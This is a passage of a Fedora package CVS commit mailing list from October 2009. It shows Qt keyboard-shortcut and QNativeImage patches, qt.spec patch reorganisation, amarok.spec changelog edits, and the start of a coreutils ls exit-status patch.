+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.2.5


0017-Add-context-to-tr-calls-in-QShortcut.patch:
 qkeysequence.cpp |   21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

--- NEW FILE 0017-Add-context-to-tr-calls-in-QShortcut.patch ---
>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 17/18] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.2.5


0018-Fix-QNativeImage-constructor.patch:
 qnativeimage.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0018-Fix-QNativeImage-constructor.patch ---
>From 4be7acd98f49b3b1bb12c9fa5dd52b7f9ffd90fb Mon Sep 17 00:00:00 2001
From: Dario Freddi <drf at kde.org>
Date: Mon, 28 Sep 2009 15:58:12 +0200
Subject: [PATCH 18/18] Fix QNativeImage constructor

Signed-off-by: Dario Freddi <drf at kde.org>
---
 src/gui/image/qnativeimage.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index a0c86db..c1bc794 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemFormat()
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
-- 
1.6.2.5



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.334
retrieving revision 1.335
diff -u -p -r1.334 -r1.335
--- qt.spec	2 Oct 2009 13:39:46 -0000	1.334
+++ qt.spec	2 Oct 2009 14:34:00 -0000	1.335
@@ -57,12 +57,30 @@ Patch54: qt-x11-opensource-src-4.5.1-mys
 
 # security patches
 
-# switch to kde-qt branches, qt-copy doesn't exist anymore
-Patch200: kde-qt-patches-20091002git.patch
+# kde-qt git patches
+Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
+Patch202: 0002-This-patch-makes-override-redirect-windows-popup-me.patch
+Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch
+Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow.patch
+Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
+Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
+Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch
+Patch208: 0008-In-a-treeview-with-columns-like-this.patch
+Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
+Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
+Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
+Patch212: 0012-This-patch-makes-the-raster-graphics-system-use-shar.patch
+Patch213: 0013-Restore-a-section-of-the-file-that-got-removed-due-t.patch
+Patch214: 0014-Fix-error-line-not-to-have-a-as-it-s-not-correct.patch
+Patch215: 0015-Make-QMenu-respect-the-minimum-width-set.patch
+Patch216: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
+Patch217: 0017-Add-context-to-tr-calls-in-QShortcut.patch
+Patch218: 0018-Fix-QNativeImage-constructor.patch
+
 # these patches are not merged yet in kde-qt branches
-Patch201: 0118-qtcopy-define.diff
-Patch202: 0283-do-not-deduce-scrollbar-extent-twice.diff
-Patch203: 0285-qgv-dontshowchildren.diff
+Patch301: 0118-qtcopy-define.diff
+Patch302: 0283-do-not-deduce-scrollbar-extent-twice.diff
+Patch303: 0285-qgv-dontshowchildren.diff
 
 Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 Source11: hi16-phonon-gstreamer.png
@@ -362,17 +380,35 @@ Qt libraries used for drawing widgets an
 # security fixes
 
 # kde-qt branch
-%patch200 -p1 -b .kde-qt-patches-20091002git
-#patch201 -p0 -b .0118-qtcopy-define
-%patch202 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
-%patch203 -p0 -b .0285-qgv-dontshowchildren
+%patch201 -p1 -b .kde-qt-0001
+%patch202 -p1 -b .kde-qt-0002
+%patch203 -p1 -b .kde-qt-0003
+%patch204 -p1 -b .kde-qt-0004
+%patch205 -p1 -b .kde-qt-0005
+%patch206 -p1 -b .kde-qt-0006
+%patch207 -p1 -b .kde-qt-0007
+%patch208 -p1 -b .kde-qt-0008
+%patch209 -p1 -b .kde-qt-0009
+%patch210 -p1 -b .kde-qt-0010
+%patch211 -p1 -b .kde-qt-0011
+## doesn't apply (looks mostly harmless, affects -raster engine)
+#patch212 -p1 -b .kde-qt-0012
+## doesn't apply (Kevin?)
+%patch213 -p1 -b .kde-qt-0013
+## upstreamed already?
+#patch214 -p1 -b .kde-qt-0014
+%patch215 -p1 -b .kde-qt-0015
+%patch216 -p1 -b .kde-qt-0016
+%patch217 -p1 -b .kde-qt-0017
+%patch218 -p1 -b .kde-qt-0018
+
+# not yet merged ones
+%patch301 -p0 -b .0118-qtcopy-define
+%patch302 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
+%patch303 -p0 -b .0285-qgv-dontshowchildren
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
-# hack around (hopefully temporary) gcc borkage (#522576)
-#if 0%{?fedora} > 11
-#RPM_OPT_FLAGS="$RPM_OPT_FLAGS -fno-var-tracking-assignments"
-#endif
 
 %define platform linux-g++
 %if "%{_qt4_datadir}" != "%{_qt4_prefix}" && "%{_lib}" == "lib64"                                  
@@ -409,6 +445,7 @@ fi
 # let syncqt to create new header
 rm -rf include
 
+
 %build
 
 # build shared, threaded (default) libraries


--- kde-qt-patches-20091002git.patch DELETED ---


--- qt-copy-patches-svn_checkout.sh DELETED ---



From rdieter at fedoraproject.org  Fri Oct  2 14:34:44 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:34:44 +0000 (UTC)
Subject: rpms/qt/devel .cvsignore,1.63,1.64
Message-ID: <20091002143444.DD7F311C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24679

Modified Files:
	.cvsignore 
Log Message:
drop old crud



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/.cvsignore,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- .cvsignore	1 Oct 2009 14:28:58 -0000	1.63
+++ .cvsignore	2 Oct 2009 14:34:44 -0000	1.64
@@ -1,8 +1,6 @@
 hi128-app-qt4-logo.png
 hi48-app-qt4-logo.png
 gstreamer-logo.svg
-qt-x11-opensource-src-4.5.2.tar.bz2
-qt-copy-patches-20090626svn.tar.bz2
 hi128-phonon-gstreamer.png
 hi16-phonon-gstreamer.png
 hi22-phonon-gstreamer.png



From rdieter at fedoraproject.org  Fri Oct  2 14:40:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:40:28 +0000 (UTC)
Subject: rpms/amarok/F-12 amarok.spec,1.168,1.169
Message-ID: <20091002144028.3388711C04C0@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26164/F-12

Modified Files:
	amarok.spec 
Log Message:
clarify changelog



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-12/amarok.spec,v
retrieving revision 1.168
retrieving revision 1.169
diff -u -p -r1.168 -r1.169
--- amarok.spec	2 Oct 2009 14:11:53 -0000	1.168
+++ amarok.spec	2 Oct 2009 14:40:24 -0000	1.169
@@ -171,7 +171,7 @@ fi
 
 %changelog
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
-- Requires: kdebase-runtime (support for trash protocol needed)
+- Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0



From rdieter at fedoraproject.org  Fri Oct  2 14:40:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:40:28 +0000 (UTC)
Subject: rpms/amarok/devel amarok.spec,1.169,1.170
Message-ID: <20091002144028.337EC11C048B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26164/devel

Modified Files:
	amarok.spec 
Log Message:
clarify changelog



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/devel/amarok.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- amarok.spec	2 Oct 2009 14:11:54 -0000	1.169
+++ amarok.spec	2 Oct 2009 14:40:27 -0000	1.170
@@ -171,7 +171,7 @@ fi
 
 %changelog
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
-- Requires: kdebase-runtime (support for trash protocol needed)
+- Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0



From rdieter at fedoraproject.org  Fri Oct  2 14:40:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:40:53 +0000 (UTC)
Subject: rpms/amarok/F-10 amarok.spec,1.149,1.150
Message-ID: <20091002144053.4C04411C048B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26327/F-10

Modified Files:
	amarok.spec 
Log Message:
sync w/devel



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-10/amarok.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- amarok.spec	2 Oct 2009 13:26:05 -0000	1.149
+++ amarok.spec	2 Oct 2009 14:40:53 -0000	1.150
@@ -61,7 +61,7 @@ Amarok is a multimedia player with:
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kdelibs4_version}}
+%{?kde4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
 %{?_qt4_version:Requires: qt4%{?_isa} >= %{_qt4_version}}
 %description libs
 %{summary}.
@@ -171,7 +171,7 @@ fi
 
 %changelog
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
-- Requires: kdebase-runtime (support for trash protocol needed)
+- Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0



From rdieter at fedoraproject.org  Fri Oct  2 14:40:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 14:40:53 +0000 (UTC)
Subject: rpms/amarok/F-11 amarok.spec,1.153,1.154
Message-ID: <20091002144053.908FD11C048B@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26327/F-11

Modified Files:
	amarok.spec 
Log Message:
sync w/devel



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-11/amarok.spec,v
retrieving revision 1.153
retrieving revision 1.154
diff -u -p -r1.153 -r1.154
--- amarok.spec	2 Oct 2009 13:26:05 -0000	1.153
+++ amarok.spec	2 Oct 2009 14:40:53 -0000	1.154
@@ -61,7 +61,7 @@ Amarok is a multimedia player with:
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kdelibs4_version}}
+%{?kde4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
 %{?_qt4_version:Requires: qt4%{?_isa} >= %{_qt4_version}}
 %description libs
 %{summary}.
@@ -171,7 +171,7 @@ fi
 
 %changelog
 * Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
-- Requires: kdebase-runtime (support for trash protocol needed)
+- Requires: kdebase-runtime (need kio_trash, kcm_phonon, etc)
 
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0



From ovasik at fedoraproject.org  Fri Oct  2 14:41:18 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Fri,  2 Oct 2009 14:41:18 +0000 (UTC)
Subject: rpms/coreutils/devel coreutils-ls-inode.patch, NONE,
	1.1 coreutils.spec, 1.279, 1.280
Message-ID: <20091002144118.6A6CD11C00C1@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/coreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26651

Modified Files:
	coreutils.spec 
Added Files:
	coreutils-ls-inode.patch 
Log Message:
ls -LR exits with status 2, not 0, when it encounters a cycle(#525402), ls: print ?, not 0 as inode of dereferenced dangling symlink(#525400), call the install-info on .gz info files

coreutils-ls-inode.patch:
 doc/coreutils.texi |    3 ++-
 src/ls.c           |   31 ++++++++++++++++++++++---------
 tests/ls/dangle    |   14 ++++++++++++++
 tests/ls/infloop   |   24 +++++++++++++-----------
 4 files changed, 51 insertions(+), 21 deletions(-)

--- NEW FILE coreutils-ls-inode.patch ---
diff -urNp coreutils-7.6-orig/doc/coreutils.texi coreutils-7.6/doc/coreutils.texi
--- coreutils-7.6-orig/doc/coreutils.texi	2009-09-22 15:12:55.000000000 +0200
+++ coreutils-7.6/doc/coreutils.texi	2009-10-02 16:09:57.000000000 +0200
@@ -6114,7 +6114,8 @@ Exit status:
   specified as a command line argument.  This happens when listing a
   directory in which entries are actively being removed or renamed.)
 2 serious trouble (e.g., memory exhausted, invalid option or failure
-  to access file or directory specified as a command line argument)
+  to access file or directory specified as a command line argument
+  or a directory loop)
 @end display
 
